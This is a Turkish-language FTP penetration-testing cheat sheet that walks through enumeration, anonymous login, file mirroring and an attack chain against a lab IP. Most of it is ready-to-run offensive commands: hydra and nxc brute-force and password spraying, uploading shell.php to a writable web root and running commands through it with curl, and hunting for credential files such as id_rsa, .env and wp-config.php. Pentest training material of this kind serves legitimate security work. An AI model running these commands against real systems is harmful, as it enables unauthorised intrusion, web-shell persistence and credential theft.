FTP Pentesting
FTP difficulty: kolay
FTP hâlâ dosya paylaşımı, eski entegrasyonlar ve yanlışlıkla açık bırakılmış anonymous kökler için görünür. Yazılabilir dizin + web root kesişimi klasik shell yoludur.
Ön koşullar
Section titled “Ön koşullar”- Hedef IP, opsiyonel kimlik bilgisi- Araçlar: nmap, ftp/lftp, wget, hydra, curlMetodoloji
Section titled “Metodoloji”-
Banner, FTPS ve anonymous/NSE kontrollerini çalıştır.
-
Listele / indir — hassas dosya, config, yedek.
-
Yazma hakkı varsa web veya cron yoluna yükleme dene.
-
Gerekirse kullanıcı/parola sprey; bounce/pasv tuhaflıklarını not et.
Enumeration
Section titled “Enumeration”nmap -p21 -sV --script ftp-anon,ftp-syst,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.10.10.5ftp 10.10.10.5Name: anonymousPassword: anonymouslftp -u anonymous, ftp://10.10.10.5curl -v ftp://10.10.10.5/ --user anonymous:anonymouswget -m ftp://anonymous:anonymous@10.10.10.5/Kimlikli erişim & brute
Section titled “Kimlikli erişim & brute”ftp 10.10.10.5lftp -u user,Pass123 ftp://10.10.10.5hydra -l anonymous -P pass.txt ftp://10.10.10.5hydra -L users.txt -P pass.txt ftp://10.10.10.5 -t 4nxc ftp 10.10.10.5 -u users.txt -p pass.txtYazılabilir paylaşım → web shell
Section titled “Yazılabilir paylaşım → web shell”ftp 10.10.10.5cd pubput shell.phplscurl -T shell.php ftp://user:pass@10.10.10.5/www/curl http://10.10.10.5/shell.php?cmd=idWeb yükleme yüzeyleri: File Upload.
FTPS / TLS
Section titled “FTPS / TLS”nmap -p21 --script ssl-cert,ssl-enum-ciphers 10.10.10.5lftpset ftp:ssl-force trueopen ftp://10.10.10.5openssl s_client -connect 10.10.10.5:21 -starttls ftpBounce & Passive/Active
Section titled “Bounce & Passive/Active”nmap -p21 --script ftp-bounce 10.10.10.5PORT komutu ile üçüncü taraf taraması (eski bounce) — modern sunucularda genelde kapalıActive mode firewall traversal tuhaflıkları log/IDS üretebilirİlginç dosyalar
Section titled “İlginç dosyalar”*.bak, *.sql, *.env, id_rsa, web.config, wp-config.phpftpstatus / .ftpaccess / proftpd.conf sızıntılarıfind . -iname '*pass*' -o -iname '*.env' -o -iname '*config*' 2>/dev/null | headKomut üreteci
Section titled “Komut üreteci”nmap · FTP NSE
embedded toolGenerated command
nmap -p21 -sV --script ftp-anon,ftp-syst,ftp-bounce 10.10.10.5nmap · FTP NSE
Section titled “nmap · FTP NSE”Zincir
Section titled “Zincir”ftp-anon → wget mirror → credentials in backup → writable www/ → php shell → SSH key